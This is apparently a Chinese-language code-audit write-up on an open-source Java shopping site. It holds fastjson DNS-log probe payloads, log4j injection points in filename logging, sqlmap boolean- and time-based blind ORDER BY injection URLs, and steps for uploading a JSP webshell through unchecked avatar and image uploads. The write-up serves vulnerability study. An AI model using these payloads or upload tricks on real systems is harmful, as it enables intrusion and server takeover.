前言
开始学习审计一些开源系统
分析
首先从一些依赖入手,看看有没有nday可以打
<dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-core</artifactId> <version>2.10.0</version> </dependency> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-api</artifactId> <version>2.10.0</version> </dependency>
<dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.58</version> </dependency>
|
有log4j2和fastjson,而且都是满足漏洞利用的版本条件
log4j
全局搜索logger.info
可以利用的在普通用户上传头像处以及管理员上传头像处,还有新增分类上传图片处都有
@ResponseBody @RequestMapping(value = "admin/uploadCategoryImage", method = RequestMethod.POST, produces = "application/json;charset=utf-8") public String uploadCategoryImage(@RequestParam MultipartFile file, HttpSession session) { String originalFileName = file.getOriginalFilename(); logger.info("获取图片原始文件名: {}", originalFileName); String extension = originalFileName.substring(originalFileName.lastIndexOf('.')); String fileName = UUID.randomUUID() + extension; String filePath = session.getServletContext().getRealPath("/") + "res/images/item/categoryPicture/" + fileName;
logger.info("文件上传路径:{}", filePath); JSONObject object = new JSONObject(); try { logger.info("文件上传中..."); file.transferTo(new File(filePath)); logger.info("文件上传完成"); object.put("success", true); object.put("fileName", fileName); } catch (IOException e) { logger.warn("文件上传失败!"); e.printStackTrace(); object.put("success", false); }
return object.toJSONString(); }
|
fastjson
fastjson具体我还没去跟过链子,但是之前粗略的看了下文章,它是通过jndi注入导致的RCE,在反序列化过程中会使用JSON.parse()
和JSON.parseObject()
这两个方法.
parseObject()
相比parse()
多执行了 JSON.toJSON(obj)
,在处理过程中会调用反序列化目标类的所有 setter 和 getter 方法。
于是我们就可以全局搜索这两个方法
可以定位到ProductController
,在添加产品信息和更新产品信息处都有
@RequestParam String propertyJson, @RequestParam String propertyAddJson, @RequestParam String propertyUpdateJson,
JSONObject object = JSON.parseObject(propertyJson); JSONObject object = JSON.parseObject(propertyAddJson); object = JSON.parseObject(propertyUpdateJson);
|
利用poc验证{"@type":"java.net.Inet4Address","val":"dnslog"}
其他可利用的poc
{"zeo":{"@type":"java.net.Inet4Address","val":"dnslog"}} {"@type":"java.net.Inet4Address","val":"dnslog"} {"@type":"java.net.Inet6Address","val":"dnslog"} {"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}} {"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"dnslog"}}""} {{"@type":"java.net.URL","val":"dnslog"}:"aaa"} Set[{"@type":"java.net.URL","val":"dnslog"}] Set[{"@type":"java.net.URL","val":"dnslog"} {{"@type":"java.net.URL","val":"dnslog"}:0
|
常规漏洞审计
sql注入
我们可以知道是用mybatis操作数据库的,以之前审计sql注入的经验,我们可以想到搜索${
这种关键字,看是否有没有做过滤的,还有就是注意order by, like
等关键字,他们采用#{}
会报错,所以如果没做好过滤就会造成sql注入
首先我们在UserMapper.xml
中找到
<select id="select" resultMap="userMap"> ... <if test="orderUtil != null"> ORDER BY ${orderUtil.orderBy}<if test="orderUtil.isDesc">desc </if> </if> ...
|
我们定位到dao层的userMap的select
@Mapper public interface UserMapper { Integer insertOne(@Param("user") User user); Integer updateOne(@Param("user") User user);
List<User> select(@Param("user") User user, @Param("orderUtil") OrderUtil orderUtil, @Param("pageUtil") PageUtil pageUtil); User selectOne(@Param("user_id") Integer user_id); User selectByLogin(@Param("user_name") String user_name, @Param("user_password") String user_password); Integer selectTotal(@Param("user") User user); }
|
然后接着cmd+B
,找谁实现了select
@Override public List<User> getList(User user, OrderUtil orderUtil, PageUtil pageUtil) { return userMapper.select(user,orderUtil,pageUtil); }
|
再find usages
找谁调用了这个getList
有两处但是goUserManagePage
中的getList,它传入的orderUtil为null
public String goUserManagePage(HttpSession session, Map<String, Object> map){ logger.info("获取前十条用户信息"); PageUtil pageUtil = new PageUtil(0, 10); List<User> userList = userService.getList(null, null, pageUtil); ...
|
我们看下面一处
OrderUtil orderUtil = null; if (orderBy != null) { logger.info("根据{}排序,是否倒序:{}",orderBy,isDesc); orderUtil = new OrderUtil(orderBy, isDesc); }
JSONObject object = new JSONObject(); logger.info("按条件获取第{}页的{}条用户", index + 1, count); PageUtil pageUtil = new PageUtil(index, count); List<User> userList = userService.getList(user, orderUtil, pageUtil);
|
orderBy和isDesc在Url中传入,我们可控
@RequestParam(required = false) String orderBy, @RequestParam(required = false,defaultValue = "true") Boolean isDesc,
|
除了这个地方,我们按照同样的办法,可以找到后台还有个产品查询也存在相同的注入
@ResponseBody @RequestMapping(value = "admin/product/{index}/{count}", .... OrderUtil orderUtil = null; if (orderBy != null) { logger.info("根据{}排序,是否倒序:{}",orderBy,isDesc); orderUtil = new OrderUtil(orderBy, isDesc); }
JSONObject object = new JSONObject(); logger.info("按条件获取第{}页的{}条产品", index + 1, count); PageUtil pageUtil = new PageUtil(index, count); List<Product> productList = productService.getList(product, product_isEnabled_array, orderUtil, pageUtil);
|
--- Parameter: Type: boolean-based blind Title: Boolean-based blind - Parameter replace (original value) Payload: http://localhost:8088/tmall/admin/product/0/10?product_name=1&category_id=0&product_sale_price=&product_price=&product_isEnabled_array=0&product_isEnabled_array=1&product_isEnabled_array=2&orderBy=(SELECT (CASE WHEN (8468=8468) THEN '' ELSE (SELECT 2634 UNION SELECT 5782) END))&isDesc=true
Type: time-based blind Title: MySQL >= 5.0.12 time-based blind - Parameter replace Payload: http://localhost:8088/tmall/admin/product/0/10?product_name=1&category_id=0&product_sale_price=&product_price=&product_isEnabled_array=0&product_isEnabled_array=1&product_isEnabled_array=2&orderBy=(CASE WHEN (7841=7841) THEN SLEEP(5) ELSE 7841 END)&isDesc=true ---
|
还有一个前台的注入,在查询产品处,原理也是一样的,但是这个只能跑时间盲注。
@RequestMapping(value = "product/{index}/{count}", method = RequestMethod.GET) public String searchProduct(HttpSession session, Map<String, Object> map, @PathVariable("index") Integer index, @PathVariable("count") Integer count, @RequestParam(value = "category_id", required = false) Integer category_id, @RequestParam(value = "product_name", required = false) String product_name, @RequestParam(required = false) String orderBy, @RequestParam(required = false, defaultValue = "true") Boolean isDesc) { logger.info("整合搜索信息"); Product product = new Product(); OrderUtil orderUtil = null; String searchValue = null; Integer searchType = null;
if (category_id != null) { product.setProduct_category(new Category().setCategory_id(category_id)); searchType = category_id; } if (product_name != null) { product.setProduct_name(product_name); } if (orderBy != null) { logger.info("根据{}排序,是否倒序:{}", orderBy, isDesc); orderUtil = new OrderUtil(orderBy, isDesc); } ... ... productList = productService.getList(product, new Byte[]{0, 2}, orderUtil, pageUtil);
--- Parameter: orderBy (GET) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: orderBy=product_create_date AND (SELECT 8418 FROM (SELECT(SLEEP(5)))igIE)&isDesc=true&category_id= ---
|
任意文件上传
springboot中如果需要对jsp进行解析,就要引入相关依赖,对于一些springboot项目中,是不需要jsp解析的,所以上传jsp🐎就是无效的。但是这个项目中,恰好有
<dependency> <groupId>javax.servlet</groupId> <artifactId>jstl</artifactId> </dependency> <dependency> <groupId>org.apache.tomcat.embed</groupId> <artifactId>tomcat-embed-jasper</artifactId> <scope>provided</scope> </dependency> <dependency> <groupId>org.apache.taglibs</groupId> <artifactId>taglibs-standard-impl</artifactId> <version>1.2.5</version> </dependency>
|
我们在之前的log4j中也发现了有头像上传点,全局搜upload,也发现这里,所以就先看到这个地方
@ResponseBody @RequestMapping(value = "admin/uploadAdminHeadImage", method = RequestMethod.POST, produces = "application/json;charset=UTF-8") public String uploadAdminHeadImage(@RequestParam MultipartFile file, HttpSession session) { String originalFileName = file.getOriginalFilename(); logger.info("获取图片原始文件名:{}", originalFileName); assert originalFileName != null; String extension = originalFileName.substring(originalFileName.lastIndexOf('.')); String fileName = UUID.randomUUID() + extension; String filePath = session.getServletContext().getRealPath("/") + "res/images/item/adminProfilePicture/" + fileName;
logger.info("文件上传路径:{}", filePath); JSONObject jsonObject = new JSONObject(); try { logger.info("文件上传中..."); file.transferTo(new File(filePath)); logger.info("文件上传成功!"); jsonObject.put("success", true); jsonObject.put("fileName", fileName); } catch (IOException e) { logger.warn("文件上传失败!"); e.printStackTrace(); jsonObject.put("success", false); } return jsonObject.toJSONString(); }
|
可以发现他并没有对后缀,内容啥的做任何限制,获取文件路径后就直接上传了,而且过滤器中也没有也没有相关过滤。
只有前端对后缀做了限制,但是等于没做,直接把accept删了就行,直接上传jsp🐎
在浏览器中用f12查看图片路径,拼接上文件名直接连接
这个是后台的上传,相同的地方简单看了下应该还有这些地方
admin/uploadCategoryImage admin/uploadProductImage user/uploadUserHeadImage
|
上传文件代码基本上是一样的。